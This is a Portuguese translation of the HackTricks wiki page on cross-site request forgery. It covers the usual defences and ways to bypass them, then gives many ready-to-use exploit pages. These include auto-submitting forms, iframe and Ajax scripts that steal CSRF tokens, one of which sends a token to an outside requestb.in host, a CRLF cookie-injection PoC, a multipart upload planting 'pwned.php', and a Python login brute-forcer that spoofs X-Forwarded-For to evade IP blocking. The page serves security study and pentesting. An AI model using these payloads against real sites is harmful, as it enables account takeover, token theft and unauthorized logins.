25 KiB
CSRF (Cross Site Request Forgery)
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud no github.
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Insights de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado com os mais novos lançamentos de recompensas por bugs e atualizações cruciais da plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje mesmo!
O que é CSRF?
Cross-site request forgery (também conhecido como CSRF) é uma vulnerabilidade de segurança web que permite a um atacante induzir usuários a realizar ações que eles não pretendem fazer.
Isso é feito fazendo um usuário logado na plataforma vítima acessar um site controlado pelo atacante e de lá executar código JS malicioso, enviar formulários ou recuperar "imagens" para a conta das vítimas.
Requisitos
Para poder abusar de uma vulnerabilidade CSRF, você primeiro precisa encontrar uma ação relevante para abusar (alterar senha ou e-mail, fazer a vítima seguir você em uma rede social, dar a você mais privilégios...). A sessão deve depender apenas de cookies ou do cabeçalho de Autenticação Básica HTTP, qualquer outro cabeçalho não pode ser usado para gerenciar a sessão. E finalmente, não deve haver parâmetros imprevisíveis na solicitação.
Várias contramedidas podem estar em vigor para evitar essa vulnerabilidade.
Defesas comuns
- Cookies SameSite: Se o cookie de sessão estiver usando essa flag, você pode não conseguir enviar o cookie de sites arbitrários.
- Compartilhamento de recursos entre origens: Dependendo de qual tipo de solicitação HTTP você precisa realizar para abusar da ação relevante, você pode levar em conta a política CORS do site vítima. Note que a política CORS não afetará se você apenas quiser enviar uma solicitação GET ou uma solicitação POST de um formulário e não precisar ler a resposta.
- Pedir a senha do usuário para autorizar a ação.
- Resolver um captcha
- Ler os cabeçalhos Referrer ou Origin. Se um regex for usado, ele poderia ser contornado por exemplo com:
- http://mal.net?orig=http://example.com (termina com a url)
- http://example.com.mal.net (começa com a url)
- Modificar o nome dos parâmetros da solicitação Post ou Get
- Usar um token CSRF em cada sessão. Esse token tem que ser enviado dentro da solicitação para confirmar a ação. Esse token poderia ser protegido com CORS.
Mapa CSRF
Bypass de Defesas
De POST para GET
Talvez o formulário que você quer abusar esteja preparado para enviar uma solicitação POST com um token CSRF, mas você deve verificar se um GET também é válido e se, ao enviar uma solicitação GET, o token CSRF ainda está sendo validado.
Falta de token
Algumas aplicações validam corretamente o token quando ele está presente, mas ignoram a validação se o token for omitido.
Nessa situação, o atacante pode remover todo o parâmetro contendo o token (não apenas seu valor) para contornar a validação e realizar um ataque CSRF.
Token CSRF não está vinculado à sessão do usuário
Algumas aplicações não validam que o token pertence à mesma sessão que o usuário que está fazendo a solicitação. Em vez disso, a aplicação mantém um pool global de tokens que emitiu e aceita qualquer token que apareça neste pool.
Nessa situação, o atacante pode fazer login na aplicação usando sua própria conta, obter um token válido, e então fornecer esse token ao usuário vítima em seu ataque CSRF.
Bypass de método
Se a solicitação estiver usando um método "estranho", verifique se a funcionalidade de sobrescrita de método está funcionando.
Por exemplo, se estiver usando um método PUT, você pode tentar usar um método POST e enviar: https://example.com/my/dear/api/val/num?_method=PUT
Isso também pode funcionar enviando o parâmetro _method dentro de uma solicitação POST ou usando os cabeçalhos:
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
Bypass de token de cabeçalho personalizado
Se a solicitação estiver adicionando um cabeçalho personalizado com um token à solicitação como método de proteção CSRF, então:
- Teste a solicitação sem o Token Personalizado e também sem o cabeçalho.
- Teste a solicitação com exatamente o mesmo comprimento, mas com um token diferente.
Token CSRF é verificado por um cookie
Em uma variação adicional da vulnerabilidade anterior, algumas aplicações duplicam cada token dentro de um cookie e um parâmetro de solicitação. Ou definem um cookie csrf e verificam no backend se o token csrf enviado é o relacionado com o cookie.
Quando a solicitação subsequente é validada, a aplicação simplesmente verifica se o token enviado no parâmetro da solicitação corresponde ao valor armazenado pelo cookie.
Nessa situação, o atacante pode novamente realizar um ataque CSRF se o site contiver qualquer vulnerabilidade que permita a ele definir seu cookie CSRF para a vítima, como um CRLF.
Neste caso, você pode definir o cookie tentando carregar uma imagem falsa e depois lançar o ataque CSRF como neste exemplo:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
{% hint style="info" %} Observe que se o token csrf estiver relacionado com o cookie de sessão, este ataque não funcionará porque você precisará definir a vítima com sua sessão, e, portanto, estará atacando a si mesmo. {% endhint %}
Mudança do Content-Type
De acordo com isto, para evitar solicitações preflight usando o método POST, estes são os valores de Content-Type permitidos:
application/x-www-form-urlencoded
multipart/form-data
text/plain
No entanto, observe que a lógica dos servidores pode variar dependendo do Content-Type usado, então você deve tentar os valores mencionados e outros como application/json
,text/xml
, application/xml
.
Exemplo (de aqui) de envio de dados JSON como text/plain:
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
bypass de pedido de preflight application/json
Como você já sabe, não é possível enviar um pedido POST com o Content-Type application/json
através de um formulário HTML, e se tentar fazê-lo através de XMLHttpRequest
, um pedido de preflight é enviado primeiro.
No entanto, você pode tentar enviar os dados JSON usando os tipos de conteúdo **text/plain
e application/x-www-form-urlencoded
** apenas para verificar se o backend está usando os dados independentemente do Content-Type.
Você pode enviar um formulário usando Content-Type: text/plain
definindo enctype="text/plain"
Se o servidor estiver aceitando apenas o tipo de conteúdo "application/json", você pode enviar o tipo de conteúdo "text/plain; application/json" sem acionar um pedido de preflight.
Você também pode tentar bypassar essa restrição usando um arquivo flash SWF. Para mais informações leia este post.
bypass de verificação de Referrer / Origin
Evitar o cabeçalho Referrer
Algumas aplicações validam o cabeçalho Referer quando ele está presente nos pedidos, mas pulam a validação se o cabeçalho for omitido.
<meta name="referrer" content="never">
Bypasses de Regexp
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Para definir o nome do domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
Bypass do método HEAD
A primeira parte deste writeup de CTF explica que no código-fonte do Oak, um roteador é configurado para tratar requisições HEAD como requisições GET sem corpo de resposta - um método comum que não é exclusivo do Oak. Em vez de um manipulador específico para requisições HEAD, elas são simplesmente encaminhadas para o manipulador GET, mas o aplicativo apenas remove o corpo da resposta.
Portanto, se uma requisição GET está sendo limitada, você poderia simplesmente enviar uma requisição HEAD que será processada como uma requisição GET.
Exemplos de Exploit
Exfiltrando Token CSRF
Se um token CSRF está sendo usado como defesa, você poderia tentar exfiltrá-lo abusando de uma vulnerabilidade XSS ou de uma vulnerabilidade de Dangling Markup.
GET usando tags HTML
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
Outras tags HTML5 que podem ser usadas para enviar automaticamente uma solicitação GET são:
Solicitação GET de Formulário
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Solicitação de POST de formulário
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
Solicitação de POST de formulário através de iframe
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Requisição POST Ajax
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2"
})
</script>
requisição POST multipart/form-data
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
requisição POST multipart/form-data v2
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
Solicitação de POST de formulário a partir de um iframe
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Roubar Token CSRF e enviar uma solicitação POST
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
Roubar Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
Roubar Token CSRF e enviar uma solicitação POST usando um iframe e um formulário
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
Roubar token e enviá-lo usando 2 iframes
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTRoubar token CSRF com Ajax e enviar um post com um formulário
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
CSRF com Socket.IO
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
Ataque de Força Bruta CSRF em Login
O código pode ser usado para realizar um ataque de força bruta em um formulário de login utilizando um token CSRF (Também utiliza o cabeçalho X-Forwarded-For na tentativa de contornar um possível bloqueio de IP):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Ferramentas
Referências
- https://portswigger.net/web-security/csrf
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Insights de Hacking
Interaja com conteúdos que exploram a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado com os mais recentes lançamentos de recompensas por bugs e atualizações importantes da plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje mesmo!
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas dicas de hacking enviando PRs para os repositórios github HackTricks e HackTricks Cloud.